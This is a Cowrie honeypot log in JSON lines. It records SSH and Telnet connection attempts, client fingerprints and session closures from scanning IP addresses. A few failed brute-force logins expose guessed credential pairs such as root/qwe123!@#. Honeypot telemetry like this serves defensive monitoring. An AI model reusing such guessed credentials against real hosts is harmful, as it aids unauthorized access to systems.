{"eventid":"cowrie.session.closed","duration":30.72610878944397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:03.182849Z","src_ip":"45.148.121.166","session":"0d427507bfab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49938,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c154c025e46","protocol":"ssh","message":"New connection: 103.15.226.202:49938 (10.17.0.5:22) [session: 3c154c025e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:04.635183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:04.641000Z","src_ip":"103.15.226.202","session":"3c154c025e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:04.884265Z","src_ip":"103.15.226.202","session":"3c154c025e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:05.618389Z","src_ip":"103.15.226.202","session":"3c154c025e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:06.865802Z","src_ip":"103.15.226.202","session":"3c154c025e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34648,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf89cc7ab42","protocol":"telnet","message":"New connection: 128.199.8.54:34648 (159.203.135.109:23) [session: 0bf89cc7ab42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:16.207725Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":51532,"dst_ip":"159.203.135.109","dst_port":23,"session":"28140ed69403","protocol":"telnet","message":"New connection: 45.148.121.166:51532 (159.203.135.109:23) [session: 28140ed69403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:16.741575Z"}
{"eventid":"cowrie.session.closed","duration":34.68680691719055,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:19.242753Z","src_ip":"128.199.8.54","session":"cc0b918abc9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2293918132782,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:26.244268Z","src_ip":"128.199.8.54","session":"853b708718ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.172911405563354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:34.365857Z","src_ip":"128.199.8.54","session":"c6cc613be695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":37102,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac6e847dcdc0","protocol":"telnet","message":"New connection: 45.148.121.166:37102 (159.203.135.109:23) [session: ac6e847dcdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:41.743538Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36414,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b46ac3dd74c","protocol":"telnet","message":"New connection: 128.199.8.54:36414 (159.203.135.109:23) [session: 7b46ac3dd74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:46.294930Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40358,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cde4732c072","protocol":"telnet","message":"New connection: 128.199.8.54:40358 (159.203.135.109:23) [session: 7cde4732c072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:47.298983Z"}
{"eventid":"cowrie.session.closed","duration":30.725016593933105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:47.466461Z","src_ip":"45.148.121.166","session":"28140ed69403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":59856,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e112055daa0","protocol":"telnet","message":"New connection: 45.148.121.166:59856 (159.203.135.109:23) [session: 4e112055daa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:49.661273Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":59868,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9318c1b18ee","protocol":"telnet","message":"New connection: 45.148.121.166:59868 (159.203.135.109:23) [session: f9318c1b18ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:51.022347Z"}
{"eventid":"cowrie.session.closed","duration":34.85522150993347,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:51.062826Z","src_ip":"128.199.8.54","session":"0bf89cc7ab42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54308,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce0a48c208d2","protocol":"telnet","message":"New connection: 128.199.8.54:54308 (159.203.135.109:23) [session: ce0a48c208d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:54.515738Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50866,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2cf3334533","protocol":"telnet","message":"New connection: 128.199.8.54:50866 (159.203.135.109:23) [session: 4c2cf3334533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:07.312933Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60168,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b53027ad65","protocol":"telnet","message":"New connection: 128.199.8.54:60168 (159.203.135.109:23) [session: b8b53027ad65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:11.979424Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42818,"dst_ip":"159.203.135.109","dst_port":22,"session":"c26cea749775","protocol":"ssh","message":"New connection: 80.94.92.186:42818 (159.203.135.109:22) [session: c26cea749775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:12.474803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:12.604936Z","src_ip":"80.94.92.186","session":"c26cea749775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:12.609152Z","src_ip":"80.94.92.186","session":"c26cea749775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1221444606781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:12.865546Z","src_ip":"45.148.121.166","session":"ac6e847dcdc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47758,"dst_ip":"159.203.135.109","dst_port":23,"session":"308a2d5918ce","protocol":"telnet","message":"New connection: 45.148.121.166:47758 (159.203.135.109:23) [session: 308a2d5918ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:12.888615Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":31640,"dst_ip":"10.17.0.5","dst_port":23,"session":"914e55d1f2b5","protocol":"telnet","message":"New connection: 212.55.149.117:31640 (10.17.0.5:23) [session: 914e55d1f2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:13.853945Z"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:13.859574Z","src_ip":"80.94.92.186","session":"c26cea749775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:14.970897Z","src_ip":"80.94.92.186","session":"c26cea749775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57194,"dst_ip":"159.203.135.109","dst_port":23,"session":"f499c1a47da0","protocol":"telnet","message":"New connection: 45.148.121.166:57194 (159.203.135.109:23) [session: f499c1a47da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:20.013353Z"}
{"eventid":"cowrie.session.closed","duration":30.62758779525757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:20.288757Z","src_ip":"45.148.121.166","session":"4e112055daa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96034097671509,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:21.259214Z","src_ip":"128.199.8.54","session":"7cde4732c072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00123405456543,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:21.287037Z","src_ip":"212.55.149.117","session":"8500097cad07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51364779472351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:22.535847Z","src_ip":"45.148.121.166","session":"f9318c1b18ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.80898976325989,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:26.103735Z","src_ip":"128.199.8.54","session":"7b46ac3dd74c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67155575752258,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:28.187098Z","src_ip":"128.199.8.54","session":"ce0a48c208d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56586,"dst_ip":"159.203.135.109","dst_port":23,"session":"757581c75533","protocol":"telnet","message":"New connection: 45.148.121.166:56586 (159.203.135.109:23) [session: 757581c75533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:34.679706Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c189d12f1f","protocol":"telnet","message":"New connection: 45.148.121.166:56602 (159.203.135.109:23) [session: e8c189d12f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:35.431407Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56604,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab69a207548f","protocol":"telnet","message":"New connection: 45.148.121.166:56604 (159.203.135.109:23) [session: ab69a207548f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:36.557832Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54114,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc3d5a3eb377","protocol":"telnet","message":"New connection: 128.199.8.54:54114 (159.203.135.109:23) [session: bc3d5a3eb377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:37.437939Z"}
{"eventid":"cowrie.session.closed","duration":35.1741943359375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:42.486984Z","src_ip":"128.199.8.54","session":"4c2cf3334533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":42394,"dst_ip":"10.17.0.5","dst_port":23,"session":"35ee745c3381","protocol":"telnet","message":"New connection: 208.92.193.123:42394 (10.17.0.5:23) [session: 35ee745c3381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:42.787536Z"}
{"eventid":"cowrie.session.closed","duration":30.513014793395996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:43.401334Z","src_ip":"45.148.121.166","session":"308a2d5918ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40942,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c154511f13b","protocol":"telnet","message":"New connection: 128.199.8.54:40942 (159.203.135.109:23) [session: 2c154511f13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:44.757270Z"}
{"eventid":"cowrie.session.closed","duration":34.41530895233154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:46.394620Z","src_ip":"128.199.8.54","session":"b8b53027ad65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39082,"dst_ip":"10.17.0.5","dst_port":23,"session":"089786fe556a","protocol":"telnet","message":"New connection: 212.55.149.117:39082 (10.17.0.5:23) [session: 089786fe556a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:47.868387Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":44006,"dst_ip":"159.203.135.109","dst_port":23,"session":"1842e38c5a33","protocol":"telnet","message":"New connection: 45.148.121.166:44006 (159.203.135.109:23) [session: 1842e38c5a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:48.764560Z"}
{"eventid":"cowrie.session.closed","duration":32.02447509765625,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:52.037663Z","src_ip":"45.148.121.166","session":"f499c1a47da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":44012,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae1f67e6f892","protocol":"telnet","message":"New connection: 45.148.121.166:44012 (159.203.135.109:23) [session: ae1f67e6f892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:07:52.264138Z"}
{"eventid":"cowrie.session.closed","duration":31.30374813079834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:05.983332Z","src_ip":"45.148.121.166","session":"757581c75533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963321685791016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:06.394601Z","src_ip":"45.148.121.166","session":"e8c189d12f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48450517654419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:08.042227Z","src_ip":"45.148.121.166","session":"ab69a207548f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60872,"dst_ip":"159.203.135.109","dst_port":23,"session":"70d9f715d7ef","protocol":"telnet","message":"New connection: 128.199.8.54:60872 (159.203.135.109:23) [session: 70d9f715d7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:08.532469Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32776,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc6e1ca0260","protocol":"telnet","message":"New connection: 128.199.8.54:32776 (159.203.135.109:23) [session: 5cc6e1ca0260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:08.587886Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39620,"dst_ip":"159.203.135.109","dst_port":22,"session":"25d654980bcc","protocol":"ssh","message":"New connection: 2.57.122.208:39620 (159.203.135.109:22) [session: 25d654980bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:09.623965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:09.765203Z","src_ip":"2.57.122.208","session":"25d654980bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:09.769201Z","src_ip":"2.57.122.208","session":"25d654980bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:10.966489Z","src_ip":"2.57.122.208","session":"25d654980bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":42502,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3df7daaf071","protocol":"telnet","message":"New connection: 45.148.121.166:42502 (159.203.135.109:23) [session: f3df7daaf071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:12.163517Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:12.285941Z","src_ip":"2.57.122.208","session":"25d654980bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.140241384506226,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:12.578091Z","src_ip":"128.199.8.54","session":"bc3d5a3eb377","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.63289666175842,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:13.486745Z","src_ip":"212.55.149.117","session":"914e55d1f2b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001846313476562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:13.789280Z","src_ip":"208.92.193.123","session":"35ee745c3381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44982,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e07bbe469f1","protocol":"telnet","message":"New connection: 128.199.8.54:44982 (159.203.135.109:23) [session: 4e07bbe469f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:15.817159Z"}
{"eventid":"cowrie.session.closed","duration":30.355287075042725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:19.119622Z","src_ip":"45.148.121.166","session":"1842e38c5a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.072625398635864,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:19.829746Z","src_ip":"128.199.8.54","session":"2c154511f13b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.374342679977417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:23.638388Z","src_ip":"45.148.121.166","session":"ae1f67e6f892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53362,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c444b1c7bd4","protocol":"telnet","message":"New connection: 45.148.121.166:53362 (159.203.135.109:23) [session: 8c444b1c7bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:26.784322Z"}
